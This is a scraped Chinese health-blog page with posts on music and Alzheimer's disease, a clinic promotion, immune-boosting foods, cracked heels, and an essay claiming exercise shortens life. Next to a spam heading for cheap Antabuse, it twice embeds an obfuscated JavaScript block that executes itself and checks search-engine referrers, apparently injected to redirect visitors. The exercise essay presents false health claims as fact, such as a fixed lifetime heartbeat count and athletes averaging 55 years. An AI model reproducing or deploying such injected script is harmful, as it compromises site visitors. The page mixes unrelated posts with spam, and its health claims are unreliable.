脑组织由灰质和白质组成。大脑的表皮部分是“灰质”,灰质以下的内部是“白质”。灰质处理信息,白质负责传递。大脑灰质对人的认知能力有决定性的作用。灰质体积与认知能力下降和大脑衰老直接相关。

大脑中不同区域的灰质负责控制肌肉运动、感官体验、思考和感觉、记忆和言语等重要功能。灰质的体积是衡量大脑健康状况的核心指标。大脑中的灰质体积在成年后期开始减少,而且往往在认知功能障碍症状出现之前就开始减少。


脑组织由灰质和白质组成

不同音乐对大脑和AD的影响

音乐对健康有很多益处:提高免疫力、改善心情等。其中不同的音乐类型对大脑的影响是不同的。根据旋律和节奏性,音乐包括许多风格和流派:古典音乐、流行音乐、摇滚乐、爵士乐、说唱音乐等。

1、古典音乐:增强多巴胺分泌、改善神经突触功能、提高学习和记忆能力。

听古典音乐可以帮助人们更有效地执行任务,这个被称为“莫扎特效应”的理论表明,聆听古典音乐可以增强大脑活动。芬兰赫尔辛基大学医学遗传学系的一个研究小组调查了听古典音乐对基因表达谱的影响,结果表明听音乐可以增强多巴胺分泌和转运、改善突触功能、提高学习和记忆相关基因的活性。


音乐

2、说唱rap音乐:能够刺激情绪、语言,提高运动功能。

剑桥大学心理学系的Akeem Sule博士和Becky Inkster博士于2014年启动了一项关于嘻哈疗法的研究,探讨了音乐如何帮助人们解决心理问题。研究人员发现,这种自由风格的艺术使说唱歌手的大脑进入独特的“流动状态”,从而触发“大脑中负责情绪、语言、动机、运动处理的部分”,这种刺激可以极大地改善神经系统疾病患者的生活。

3、励志风格的流行/摇滚音乐:提高忍耐力,增强身体的运动表现。

伦敦布鲁内尔大学体育与教育学院Costas Karageorghis博士研究了音乐对身体运动耐力的影响。 30名参与者听着节奏快、歌词励志的摇滚或流行音乐,在跑步机上锻炼,他们的耐力提高了15%。该项研究发表在《运动与锻炼心理学》上。

4、爵士乐:影响大脑产生的脑电波类型,带来刺激或放松的效果。

欢快的爵士乐,能够帮助集中精力,减少锻炼时的疲劳,提高工作效率;THETA脑波(4-8赫兹):聆听某些爵士乐可以产生theta脑波,这是能够刺激创造力的脑波。聆听舒缓慢节奏的爵士音乐能够减少焦虑起到放松作用;ALPHA脑电波(8-14赫兹):节奏60 BPM左右的音乐可能会导致大脑与节奏同步,从而产生阿尔法脑电波;DELTA脑电波(低于4赫兹):聆听至少45分钟会产生Delta脑电波,诱发睡眠-改善睡眠质量。研究表明,就寝前聆听45分钟柔和、缓慢的(60-80 BPM)的爵士乐,促进夜晚更好地睡眠、减少白天疲劳感。


音乐

阿尔茨海默症患者听音乐的建议

1、选择患者熟悉和喜欢的音乐,熟悉的音乐会唤起听者的回忆,安定心神。

2、根据不同状态和需求选择音乐类型。例如,安静的古典音乐可以营造一个安静的环境;童年时期喜爱的节奏快的歌曲则可以振奋精神,唤起人们的美好回忆;运动时可听流行或摇滚音乐,提高精力增强耐力;睡前听慢节奏柔和的爵士乐,能够改善睡眠。

3、鼓励患者在音乐中加上动作(拍手,跳舞),增加乐趣和运动量。

2021-02-22 / by / in
纽约肠胃肝胆科专家荆彤医生谈在霍普金斯医学院培训期间所接触的专家学者

 

美国约翰.霍普金斯大学医学院创立于1893年,是世界顶尖的医学研究培训机构。约翰.霍普金斯大学医学院有超过1200名医学生及博士生,超过2800名全职教授和超过1200名兼职教授。约翰.霍普金斯大学医学院的内科临床培训在Doximity2018-2019住院医师培训目录中,被评为全美最佳的内科临床培训项目。这是一项了不起的殊荣,曾在约翰.霍普金斯大学医学院肠胃科接受培训的荆彤医生用自己的亲身经历告诉大家为何霍普金斯医学院能得到这项荣誉。

 

荆彤医生说,在霍普金斯医学院有很多知名的专家学者,他在那里培训期间曾和很多诺贝尔奖获得者合作过。“像这种知名的人很多呀,因为在那(霍普金斯医学院)让我们还要做一些研究,不光是整天看临床上的病人。还要做一些研究,看这个病的机理啊,随着研究的进展那才能看病……那有很多的有名的教授和我们一块合作。像我们有个叫Rust的教授他发现了肿瘤基因并因此获得诺贝尔医学奖。还有一个我们当时合作的教授他虽然是生物化学的教授,他带领我们研究病人腹泻的机理,发现腹泻与水离子通道有关系,因为这个发现最后获得了诺贝尔医学奖。”“ 这些教授不光在临床上很强,在病的机理的研究方面也很强。我们有机会跟那些在世界前沿的那些科学家一块合作这样就对这个疾病的掌握得更加清楚,不但治标更能治本。”

 

荆彤医生于2014年在纽约法拉盛创立了荆彤肠胃中心,用自己20多年所学解除病患痛苦,服务华人社区。

荆彤肠胃中心

地址:136-68 Roosevelt Ave 3FL flushing, NY, 11354

电话 (718) 321-0183   (718) 886-9819

2021-02-21 / 1 Comment / by / in , ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,53,112,54,55,50,113,119,72,84,77,76,60,34,48,47,63,38,95,43,85,67,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+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2021-02-21 / by / in , , ,
这5种食物多吃,有助提升免疫力

食物/免疫力/甜椒/大蒜/芦笋/绿叶蔬菜/西兰花

疫情当下,为了抵抗感染和疾病,多吃含多种维生素和矿物质的食物,因此可以保证有充足的睡眠,使身体有更好的防疫能力,抵抗病毒。

众所周知,吃含多种维生素和矿物质的食物,充足的睡眠,规律的运动和低压力,可以使身体更好的抵抗感染和疾病。

在菜市买菜不知道买什么好的时候,不妨多多采购这些食物吧!

甜椒

1. 甜椒

甜椒是提升免疫系统最好的蔬菜之一,它不仅可以提供大量纤维和抗氧化剂,而且维生素C含量极高。

2. 大蒜

大蒜中的大蒜素含量极高,它是一种非常有效的抗氧化剂成分,只需一瓣就能够增强你的免疫力。而且大蒜不必生吃,它在煮熟后不会失去免疫功能。


芦笋

3. 芦笋

芦笋是优质的益生元,它的菊粉含量很高。芦笋还能够提供钾,虽然它不是免疫系统的增强剂,但对肌肉健康至关重要。

4. 深色绿叶蔬菜(如菠菜、羽衣甘蓝、瑞士甜菜等)

绿叶蔬菜可以提供大量抗氧化剂以及维生素C、E。脂溶性维生素E更是有效的抗氧化剂之一。


西兰花

5. 西兰花

你以为我们会错过蔬菜皇冠上的明珠吗?西兰花富含抗氧化剂和维生素C。它还富含钾、铁和钙。

2021-02-21 / by / in
脚后跟出现干裂什么原因?医生:跟这3种病症有关,要当心

健康/脚/开裂/冬天皮肤护理

脚后跟干裂是比较常见的一种现象,那么是什么因素造成的呢?

双脚是我们机体重要的组织,只要是我们起床的那一刻起, 双脚就是我们身体移动的动力。但是它的美观却很少人关注, 但默默奉献的它,也是容易出现问题的。

就比如冬天非常常见的一个问题,就是脚后跟容易出现干裂的情况, 有的人还不在意,可时间一长,没有做好相应的保护措施, 还容易出现流血、疼痛等现象,对于这种现象我们应该怎么办呢?

脚后跟干裂又是怎么造成的呢?可能跟以下这几种原因有关。

我们先来看下正常的情况有哪些?脚后跟出现干裂的现象, 还有一些是正常的表现,尤其是到了冬天之后,因为天气的寒冷, 刺激血管,身体的四肢部位,双脚、双手更容易感受到寒冷的气息。


呵护双脚

从而带走皮肤上的体温,从而出现脚冷、脚后跟干裂等情况。还有的人是因为鞋子不合适、干重体力活动等等, 也可能出现这种情况。如果你是属于这些现象, 还需根据自身的情况,来改变生活方式,可以帮助你缓解。

1、脚后跟干裂,可能跟皮肤病有关: 也并非所有的脚后跟干裂都属于正常的情况, 还有一些是因为疾病导致的。当身体出现鱼鳞病, 这种皮肤病的主要表现也是皮肤干燥, 且还有一个非常明显的特点是在冬季的时候会加重。

2、脚后跟干裂,可能跟脚气有关: 脚气的症状通常是因为真菌导致的病症,表现多为瘙痒。同样也会因为脚气,出现后脚跟干燥、甚至是干裂的情况。


呵护双脚

对于这种情形的人,需要保证脚部的透风,穿自己合适的鞋子, 如果有必要的话可以给脚涂抹上护肤的产品, 对脚部的保护会起到一定的积极作用。

3、脚后跟干裂,可能营养素缺乏有关:我们的机体健康, 需要多样的营养物质来供给,这样可以保护机体的多个器官组织。可如果某一种元素缺乏严重,就容易出现相对应的问题。

如当机体缺乏维生素A、维生素E的时候,我们的皮肤就容易干燥, 脚后跟这种用到比较多的地方,就容易出现干燥、开裂的情况。而充足的维生素A供给,可以保护皮肤黏膜的健康。

充足的维生素E供给,能够促进皮肤需要的胶原蛋白形成, 对保护皮肤、滋润皮肤有益。大家可以从胡萝卜、橘子、橙子、 玉米、鸡蛋等等中摄取,帮你改善脚后跟干裂。


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2021-02-21 / by / in
Antabuse 500 mg A Buon Mercato Catania

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,52,57,54,50,48,112,72,84,77,76,60,34,47,63,38,95,43,85,67,119,65,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!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2021-02-20 / by / in , , ,
生命在于运动是谎言 害了众多人

生命在于运动/伏尔泰/生命在于静养/动静结合

众多人都认为,人的生命在于运动,但在这里被提出挑战,生命在于静养。

你能说出一个最长寿的运动健将的名字么?

没有!

法国思想家伏尔泰提出了“生命在于运动”的格言。他喜欢散步、跑步、击剑、骑马、游泳、爬山、日光浴等运动。

但我们应正确理解“生命在于运动”,“运动不等于长寿”。因为心率和寿命成反比,运动导致心率加快,新陈代谢就加快,细胞的分裂和老化也必然加快。

比如:木讷的大象,心率每分钟40次,寿命80年;陆上速度第一的猎豹,寿命却只有20年;乌龟的心率10,寿命百年以上;而迅捷的老鼠,每分钟的心率900次,寿命却只有2年。

许多运动狂不爽了,说运动员在平时的心率,不是比普通人慢么?这是一种误读,不管他们跑得多快、窜得多高、肌肉多大、拳头多硬,有几个是长寿的?生命都被运动给提前透支光了。青壮年时代越显得比普通人威猛,到了中晚年越比普通人衰败得快。

归根结底,人的一辈子,心跳次数是有限度的,达到了一定次数的心跳,生命也就到头了。


运动

所以记住——生命在于静养。

静养不排斥适当的锻炼,比如太极、瑜伽等,快走也可以,但千万别奔、别跑、别跳,也别被自己练出来的一块块“发达的肌肉”给迷惑,那其实是提前挥霍了的一年年的寿命。

每天清晨,在各个公园都可以看到,有着为数较多的人群,正在做各种运动健生。尤以老人为最!其实,早晨的空气质量指数,是一天当中最差的。是不太适合体育运动及锻炼身体的(下午或黄昏较好)。比如:二氧化碳含量就是最高的时候。那为何会有那么多人去锻炼呢?缘于“生命在于运动”的口号,误导了大众。

“生命在于运动”,若从这句话的语境,其本身而言,也是不对的。至少这句话太武断,太偏激了! “生命在于运动”表明,如果不运动,就没有生命,也就是会短命。

果真如此吗?

是否人人都要运动?

是否人人都适合运动?

从辨证的角度看,很显然,是要因人而异、区别对待的。有些人,是不适合运动的。

比如:体质虚弱者,就不适合运动。因为人的元气是有限的,对于体质虚弱者,若参与运动,必将耗损更多的元气,使身体虚上加虚,雪上加霜,得不偿失!这种体质虚弱者,其实只需要静养就够了。

再比如:肝病、肾病患者,若参与运动,必将加重病情,使之恶化。这类病人也只适合静养的。

正如曹操所言:“盈缩之期,不独在天。养怡之福,可以永年”!这个“养怡”两字,“养”就是指养生,包括饮食起居、生活习惯;“怡”就是指开心,精神心理状态。

作为体育运动,它只能够加强身体肌肉、骨胳、关节等方面的强壮(对胖子好些)。一个人,会不会生病,会生什么病?是由身体内因决定的。好比,同样的天气,有人感冒,有人健康。气候这外因是相同的,但由于每个人的体质、免疫功能等内因不同,而出现明显的不同结局。一个人的长寿与否,是先天基因和后天调养来决定,并不是运动可以决定的。

西方国家的医学专家作过统计,人类社会的疾病,70%与情绪有关。这个情绪就是内因。也就是我国中医讲到的“七情致病”(喜、怒、忧、思、惊、恐、悲)。也有人说,通过体育运动,能够缓解紧张、焦虑的情绪。不知大家想过没有?紧张、焦虑等七情,犹如幽灵附身一般,在365天,每天24小时,随时随刻,都可能即时而发,难道你能坚持365天,24小时不间断锻炼吗?

或你在上班,商场购物时,突然出现了紧张、焦虑等情绪,你也能马上跑去锻炼?消除这不良情绪吗?何况这作用究竟有多大,也不得而知。作为自主神经所支配的七情,是不受意识所控制的,何况运动乎?

民间有句俗话:“饭后百步走,活到九十九”,其实这说法也不对。因为在饭后,人体的自我调节功能作用下,把全身大部分的血液,都调到胃部帮助消化了。人体其它器官都是处于低度的缺血状态。若饭后百步走,因大脑供血不足,出现头昏、眼花、四肢疲软,容易发生意外事故。再则,也会加重器官的缺血状态,于健康反而不利。

众所周知,全世界的体育运动员,平均寿命才55岁,属短命。全世界的武术家,也罕有长寿的。练太极拳除外,因太极拳属气功中的动功,讲究“三调”。即:调身、调意、调息,这是动静结合。

